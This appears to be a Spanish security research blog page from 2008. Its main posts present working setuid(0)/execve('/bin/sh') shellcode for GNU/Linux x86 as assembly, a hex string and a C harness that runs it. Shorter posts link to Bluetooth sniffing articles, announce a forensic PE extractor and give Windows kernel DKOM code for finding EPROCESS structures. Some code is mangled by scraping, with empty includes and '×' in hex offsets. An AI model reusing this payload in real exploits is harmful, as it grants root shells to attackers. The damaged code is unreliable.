OpenSec Development & Security Research

23Nov/088

Smallest “setuid” & “execve” GNU/Linux x86 shellcode without nulls that spawns a shell

POST ACTUALIZADO: http://opensec.es/2008/11/26/gnulinux-setuid0-execbinsh00-stable/

Estuve retocando la modificación de vlan7 a mi shellcode y la reduje a 25 bytes.

La más pequeña hasta la fecha.

SMALLEST SETUID & EXECVE GNU/LINUX x86 SHELLCODE
WITHOUT NULLS THAT SPAWNS A SHELL

History:
	+ v1.0 (27 bytes) => http://opensec.es/2008/11/14/gnulinux-x86-
                             setuid0-execvebinsh00-shellcode-without-null/

	+ v2.0 (26 bytes) => (http://vlan7.blogspot.com/)

http://packetstormsecurity.org/filedesc/

                             smallest_setuid_execve_sc.c.html

v3.0 (25 bytes)
################
global _start
section .text
_start:
;setuid
xor ecx,ecx
lea eax,[ecx+17h];setuid syscall
int 80h
;execve
push ecx;ecx = 0
push 0x68732f6e ;sh/
push 0x69622f2f ;nib//
mov ebx,esp;pointer to "struct pt_regs"
lea eax,[ecx+0Bh];execve syscall
int 80h
#include 

const char shellcode[]=	"\x31\xc9\x8d\x41\x17\xcd\x80\x51\x68\x6e\x2f\x73"
			"\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80";

int main()
{
	printf("\nSMALLEST SETUID & EXECVE GNU/LINUX x86 SHELLCODE"
			"WITHOUT NULLS THAT SPAWNS A SHELL"
			"\n\nCoded by Chema Garcia (aka sch3m4)"
			"\n\t + sch3m4@opensec.es"
			"\n\t + http://opensec.es"
			"\n\n[+] Date: 22/11/2008"
			"\n\n[+] Thanks to: vlan7"
			"\n\n[+] Shellcode Size: %d bytes\n\n",
			sizeof(shellcode)-1);

	(*(void (*)()) shellcode)();

	return 0;
}

milw0rm: http://milw0rm.com/shellcode/7187
PacketStormSecurity: http://packetstormsecurity.org/shellcode/25bytes-execve.txt

18Nov/082

Avances en sniffing de dispositivos BlueTooth

Leo en el blog de Alberto Moreno Dos artículos muy interesantes sobre sniffing con dispositivos bluetooth. Uno de ellos, abarca toda la información necesaria así como los requisitos, para construir un sniffer bluetooth a partir de un adaptador bluetooth convencional. Los requisitos son:

  • Chipset Cambridge Silicon Radio (CSR)
  • Chipset bluetooth BC4 con memoria flash (Los adaptadores basados en memorias ROM no sirven)

http://seguridadmobile.blogspot.com/2008/11/construyendo-tu-propio-sniffer.html

El otro artículo, describe cómo haciendo uso del sniffer bluetooth, podemos sacar la clave utilizada en el emparejamiento de dos dispositivos:

http://seguridadmobile.blogspot.com/2008/11/sniffando-el-emparejamiento-bluetooth.html

14Nov/087

GNU/Linux x86 setuid(0) & execve(“/bin/sh”,0,0) shellcode without NULL

POST ACTUALIZADO: http://opensec.es/2008/11/26/gnulinux-setuid0-execbinsh00-stable/

Hacía bastante tiempo que no trabajaba con shellcodes, así que hice una para GNU/Linux x86 de 27 bytes, que ejecuta un setuid(0) y un execve("/bin/sh",0,0).

Hasta ahora, la más pequeña que he visto (pública) era de 28 bytes.

/*
Smallest GNU/Linux x86 setuid(0) && execve("/bin/sh",0,0) Shellcode
without NULLs

Coded by Chema Garcia (aka sch3m4)
   + sch3m4@opensec.es
   + http://opensec.es
  Shellcode Size: 27 bytes
  Date: 13/11/2008
*/

#include 

const char shellcode[]=    "\x31\xC0"        //xor eax,eax
           "\x31\xC9"        //xor ecx,ecx
           "\xB0\x17"        //mov al,17h
           "\x60"            //pusha
           "\xCD\x80"        //int 80h
           "\x61"            //popa
           "\x51"            //push ecx
           "\x68\x6E\x2F\x73\x68"    //push 0x68732f6e
           "\x68\x2F\x2F\x62\x69"    //push 0x69622f2f
           "\x89\xE3"        //mov ebx, esp
           "\xB0\x0B"        //mov al,0xb
           "\xCD\x80";        //int 0x80

int main()
{
   printf("Smallest GNU/Linux x86 setuid(0) && execve("/bin/sh",0,0)
Shellcode without NULLs"
           "\n\nCoded by Chema Garcia (aka sch3m4)"
           "\n\t + sch3m4@opensec.es"
           "\n\t + http://opensec.es"
           "\n\n[+] Shellcode Size: %d bytes\n\n",sizeof(shellcode)-1);
         //(*(void (*)()) shellcode)();

   return 0;
}
global _start

section .text

_start:

xor eax,eax
xor ecx,ecx
mov al,17h;setuid
pusha
int 80h
popa
push ecx
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
mov al,0xb;execve
int 0x80

milw0rm: http://milw0rm.com/shellcode/7115
PacketStormSecurity: http://packetstormsecurity.org/filedesc/smallnonulls-exec.txt.html

Editado: Unos días después de publicarla, vlan7 optimizó la shellcode en un byte, el código podéis verlo en su blog. Desde aquí, mis felicitaciones a vlan7.

31Oct/080

PExtractor v0.2 Stable Released

Proyecto bajo licencia GPLv3 destinado a la informática forense.

El objetivo es crear una herramienta capaz de detectar y extraer los ficheros ejecutables (PE) contenidos en un fichero, para facilitar su posterior análisis por separado.

Tipos de archivos soportados: PE (EXE,DLL)

Mejoras de la version 0.2 Stable Release

  • Código más optimizado y estructurado
  • Traducido al estándar C POSIX
  • Funcionamiento independiente de la plataforma
  • Algunos bugs corregidos

PExtractor v.02 - Análisis y extracción sobre MS Windows

PExtractor v0.2 - Debian GNU/Linux

PExtractor v0.2 - Análisis y extracción sobre Debian GNU/Linux (1/2)

PExtractor v0.2 - Análisis y extracción sobre Debian GNU/Linux (2/2)

Descarga de binarios y source: https://sourceforge.net/projects/pextractor/

31Oct/080

Localizando la EPROCESS

En ciertas ocasiones, cuando estamos programando en modo kernel en sistemas Windows, nos es necesario localizar la EPROCESS de algún proceso para conocer alguno/s de sus datos. Las siguientes funciones, devuelven la dirección de memoria de la EPROCESS del proceso indicado, o bien por el PID del proceso, o por el nombre de la imagen.

Localizar según el PID

unsigned long BuscaEPROCESSPidDKOM(unsigned int Pid)
{
	unsigned long 	eproc,aux,proceso,ret;
	PLIST_ENTRY 	lista;
	unsigned int 	idProceso=0;

	eproc=(unsigned long)PsGetCurrentProcess();//estamos en "System"
	//tenemos los punteros al siguiente y al anterior
	lista=(LIST_ENTRY*)(eproc+0×88);
	aux=(unsigned long)lista->Blink;
	proceso=(unsigned long)lista;
	idProceso=*((int *)(proceso+0×84));

	while(proceso!=0 && aux!=proceso && Pid!=idProceso)//recorremos la lista
	{
		proceso-=0×88;
		ret=proceso;
		idProceso=*((int *)(proceso+0×84));
		//avanzamos
		lista=lista->Flink;
		proceso=(unsigned long)lista;
	}
	if(Pid!=idProceso)
	{
		ret=0;
	#ifdef DEBUG
		DbgPrint("DKOM: Coincidencia no encontrada");
	}else{
		DbgPrint("DKOM: Coincidencia PID=%d",Pid);
	#endif
	}
	return ret;
}

Localizar según el nombre de la imagen

unsigned long BuscaEPROCESSNombreDKOM(unsigned char *Nombre)
{
	unsigned long 		eproc,aux,proceso,ret=0;
	PLIST_ENTRY 		lista;
	unsigned char    	*p;

	eproc=(unsigned long)PsGetCurrentProcess();//estamos en "System"
	//tenemos los punteros al siguiente y al anterior
	lista=(LIST_ENTRY*)(eproc+0×88);
	aux=(unsigned long)lista->Blink;
	proceso=(unsigned long)lista;
	p=(unsigned char *)(proceso+0×174);

	/* Recorremos la lista (comparando con la longitud del proceso
	   que nos dice el sistema, y no con el de el usuario */
	while(proceso!=0 && aux!=proceso && p!=0 &&
		     strncmp(Nombre,p,strlen(Nombre))!=0)
	{
		proceso-=0×88;
		ret=proceso;
		p=(unsigned char *)(proceso+0×174);
		//avanzamos
		lista=lista->Flink;
		proceso=(unsigned long)lista;
	}
	if(strncmp(Nombre,p,strlen(Nombre))!=0)
	{
		ret=0;
	#ifdef DEBUG
		DbgPrint("DKOM: Coincidencia no encontrada");
	}else{
		DbgPrint("DKOM: Coincidencia: %s",Nombre);
	#endif
	}
	return ret;
}
Estadisticas y contadores web gratis
Contadores Gratis